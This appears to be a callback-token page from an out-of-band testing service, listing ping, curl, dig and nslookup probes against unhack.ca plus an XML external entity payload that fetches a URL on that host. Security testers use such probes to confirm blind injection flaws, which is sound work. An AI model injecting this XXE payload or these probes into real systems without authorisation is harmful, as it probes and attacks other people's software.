$ ping -c1 -p 006264042c9364efc135985b6422ed00 unhack.ca
 

$ curl http://unhack.ca/p/6264042c9364efc135985b6422ed
 

$ dig 6264042c9364efc135985b6422ed @unhack.ca
 

$ dig 6264042c9364efc135985b6422ed.ns.unhack.ca
 

C:\> nslookup 6264042c9364efc135985b6422ed unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6264042c9364efc135985b6422ed">]>
    <foo>&xxe;</foo>